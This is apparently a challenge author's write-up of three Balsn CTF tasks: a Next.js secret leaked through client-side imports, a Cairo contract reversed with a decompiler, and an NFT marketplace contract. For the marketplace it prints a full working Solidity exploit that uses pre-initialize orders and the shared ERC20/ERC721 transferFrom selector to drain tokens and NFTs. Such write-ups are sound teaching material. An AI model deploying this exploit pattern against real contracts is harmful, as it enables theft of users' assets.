I love next.js! http://my-first-web.balsnctf.com:3000/
Author: ysc
Category: Web
Solved: 263 / 584
I think it's just a warmup. The core issue in this challenge is that it should not use sensitive data in client-side in Next.js.
The client-side source import globalVars
which means that all data (including globalVars.FLAG
) are imported into client-side. So you can grep client-side sources and get FLAG.
You can also check this writeup, it has a good walkthrough on this challenge.
Flag: BALSN{hybrid_frontend_and_api}
Simple cairo reverse
starknet-compile 0.9.1
dist.zip
Author: ysc
Category: Smart Contract, Reverse
Solved: 41 / 584
It's a simple reverse challenge, the solution is the same as this writeup, if you google cairo decompiler
you may find thoth.
Use thoth to decompile:
@view func __main__.get_flag{syscall_ptr : felt*, pedersen_ptr : starkware.cairo.common.cairo_builtins.HashBuiltin*, range_check_ptr : felt}(t : felt) -> (res : felt)
[AP] = [FP-3] + -0x1d6e61c2969f782ede8c3; ap ++
if [AP-1] == 0:
[AP] = [FP-3] * [FP-3]; ap ++
[AP] = [FP-6]; ap ++
[AP] = [FP-5]; ap ++
[AP] = [FP-4]; ap ++
[AP] = [AP-4] + 0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4; ap ++
return([ap-1])
end
[AP] = [FP-6]; ap ++
[AP] = [FP-5]; ap ++
[AP] = [FP-4]; ap ++
# 0 -> 0x0
[AP] = 0; ap ++
return([ap-1])
end
Another way, because the challenge also provides source code:
# Declare this file as a StarkNet contract.
%lang starknet
from starkware.cairo.common.cairo_builtins import HashBuiltin
@view
func get_flag{
syscall_ptr : felt*,
pedersen_ptr : HashBuiltin*,
range_check_ptr,
}(t:felt) -> (res : felt):
if t == /* CENSORED */:
return (res=0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 + t*t)
else:
return(res=0)
end
end
You can try to set a dummy t
and compile it by starknet-compile
to diff contract_compiled.json
. You will find that only different data is "0x800000000000010fffffffffffffffffffffffffffe2919e3d696087d12173e"
, and it's able to get t
to calculate the result.
Flag: BALSN{read_data_from_cairo}
Simple NFT Marketplace
http://nft-marketplace.balsnctf.com:3000/
Author: ysc
Category: Smart Contract
Solved: 10 / 584
These writeups are very well written, I highly recommend reading these writeups:
In short, there are 2 key points in this challenge:
- Interact with the contract before
initialize
- The sig
transferFrom
of ERC20 is the same as the sigtransferFrom
of ERC721
Because the contract uses assembly call
to transfer ERC721 tokens, you're able to call createOrder
on a non-exist token address before initialize
, and call cancelOrder
to get tokens after the token is deployed. And the contract approves itself in initialize
(nmToken.approve(address(this), type(uint256).max);
), so we can call transferFrom
both on ERC20 and ERC721.
Note that this contract has a function fulfillTest
, which is implemented for debug :) In my exploit contract, it's not necessary to use this function.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract RareNFT is ERC721 {
bool _lock = false;
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function mint(address to, uint256 tokenId) public {
require(!_lock, "Locked");
_mint(to, tokenId);
}
function lock() public {
_lock = true;
}
}
contract NMToken is ERC20 {
bool _lock = false;
address admin;
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
admin = msg.sender;
}
function mint(address to, uint256 amount) public {
// shh - admin function
require(msg.sender == admin, "admin only");
_mint(to, amount);
}
function move(address from, address to, uint256 amount) public {
// shh - admin function
require(msg.sender == admin, "admin only");
_transfer(from, to, amount);
}
function lock() public {
_lock = true;
}
}
contract NFTMarketplace {
error TransferFromFailed();
event GetFlag(bool success);
bool public initialized;
bool public tested;
RareNFT public rareNFT;
NMToken public nmToken;
Order[] public orders;
struct Order {
address maker;
address token;
uint256 tokenId;
uint256 price;
}
constructor() {
}
function initialize() public {
require(!initialized, "Initialized");
initialized = true;
nmToken = new NMToken{salt: keccak256("NMToken")}("NM Token", "NMToken");
nmToken.mint(address(this), 1000000);
nmToken.mint(msg.sender, 100);
nmToken.lock();
nmToken.approve(address(this), type(uint256).max);
rareNFT = new RareNFT{salt: keccak256("rareNFT")}("Rare NFT", "rareNFT");
rareNFT.mint(address(this), 1);
rareNFT.mint(address(this), 2);
rareNFT.mint(address(this), 3);
rareNFT.mint(msg.sender, 4);
rareNFT.lock();
// NFTMarketplace(this).createOrder(address(rareNFT), 1, 10000000000000); // I think it's super rare.
NFTMarketplace(this).createOrder(address(rareNFT), 2, 100);
NFTMarketplace(this).createOrder(address(rareNFT), 3, 100000);
}
function getTokenVersion() public pure returns (bytes memory) {
return type(NMToken).creationCode;
}
function getNFTVersion() public pure returns (bytes memory) {
return type(RareNFT).creationCode;
}
function createOrder(address token, uint256 tokenId, uint256 price) public returns(uint256) {
orders.push(Order(msg.sender, token, tokenId, price));
_safeTransferFrom(token, msg.sender, address(this), tokenId);
return orders.length - 1;
}
function cancelOrder(uint256 orderId) public {
require(orderId < orders.length, "Invalid orderId");
Order memory order = orders[orderId];
require(order.maker == msg.sender, "Invalid maker");
_deleteOrder(orderId);
_safeTransferFrom(order.token, address(this), order.maker, order.tokenId);
}
function fulfill(uint256 orderId) public {
require(orderId < orders.length, "Invalid orderId");
Order memory order = orders[orderId];
require(order.maker != address(0), "Invalid maker");
_deleteOrder(orderId);
nmToken.move(msg.sender, order.maker, order.price);
_safeTransferFrom(order.token, address(this), msg.sender, order.tokenId);
}
function fulfillTest(address token, uint256 tokenId, uint256 price) public {
require(!tested, "Tested");
tested = true;
uint256 orderId = NFTMarketplace(this).createOrder(token, tokenId, price);
fulfill(orderId);
}
function verify() public {
require(nmToken.balanceOf(address(this)) == 0, "failed");
require(nmToken.balanceOf(msg.sender) > 1000000, "failed");
require(rareNFT.ownerOf(1) == msg.sender && rareNFT.ownerOf(2) == msg.sender && rareNFT.ownerOf(3) == msg.sender && rareNFT.ownerOf(4) == msg.sender);
emit GetFlag(true);
}
function _safeTransferFrom(
address token,
address from,
address to,
uint256 tokenId
) internal {
bool success;
bytes memory data;
assembly {
// we'll write our calldata to this slot below, but restore it later
let memPointer := mload(0x40)
// write the abi-encoded calldata into memory, beginning with the function selector
mstore(0, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
mstore(4, from) // append the 'from' argument
mstore(36, to) // append the 'to' argument
mstore(68, tokenId) // append the 'tokenId' argument
success := and(
// set success to whether the call reverted, if not we check it either
// returned exactly 1 (can't just be non-zero data), or had no return data
or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())),
// we use 100 because that's the total length of our calldata (4 + 32 * 3)
// - counterintuitively, this call() must be positioned after the or() in the
// surrounding and() because and() evaluates its arguments from right to left
call(gas(), token, 0, 0, 100, 0, 32)
)
data := returndatasize()
mstore(0x60, 0) // restore the zero slot to zero
mstore(0x40, memPointer) // restore the memPointer
}
if (!success) revert TransferFromFailed();
}
function _deleteOrder(uint256 orderId) internal {
orders[orderId] = orders[orders.length - 1];
orders.pop();
}
}
// // User Contract Example
// interface Callee {
// function initialize() external;
// function verify() external;
// }
//
// contract UserContract {
// function execute(address target) public {
// Callee callee = Callee(target);
// callee.initialize();
// callee.verify();
// }
// }
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "./NFTMarketplace.sol";
contract UserContract {
address public NFTAddress;
address public TokenAddress;
function execute(address target) public {
NFTMarketplace nftmarketplace = NFTMarketplace(target);
NFTAddress = calculateAddr(
target,
keccak256("rareNFT"),
abi.encodePacked(nftmarketplace.getNFTVersion(), abi.encode("Rare NFT", "rareNFT"))
);
TokenAddress = calculateAddr(
target,
keccak256("NMToken"),
abi.encodePacked(nftmarketplace.getTokenVersion(), abi.encode("NM Token", "NMToken"))
);
nftmarketplace.createOrder(NFTAddress, 1, 0);
nftmarketplace.createOrder(NFTAddress, 2, 0);
nftmarketplace.createOrder(NFTAddress, 3, 0);
nftmarketplace.createOrder(TokenAddress, 1000000, 0);
nftmarketplace.initialize();
nftmarketplace.cancelOrder(3);
nftmarketplace.cancelOrder(2);
nftmarketplace.cancelOrder(1);
nftmarketplace.cancelOrder(0);
nftmarketplace.verify();
}
function calculateAddr(address target, bytes32 salt, bytes memory bytecode) public pure returns(address predictedAddress){
predictedAddress = address(uint160(uint(keccak256(abi.encodePacked(
bytes1(0xff),
target,
salt,
keccak256(bytecode)
)))));
}
}
Flag: BALSN{safeTransferFrom_ERC20_to_ERC721}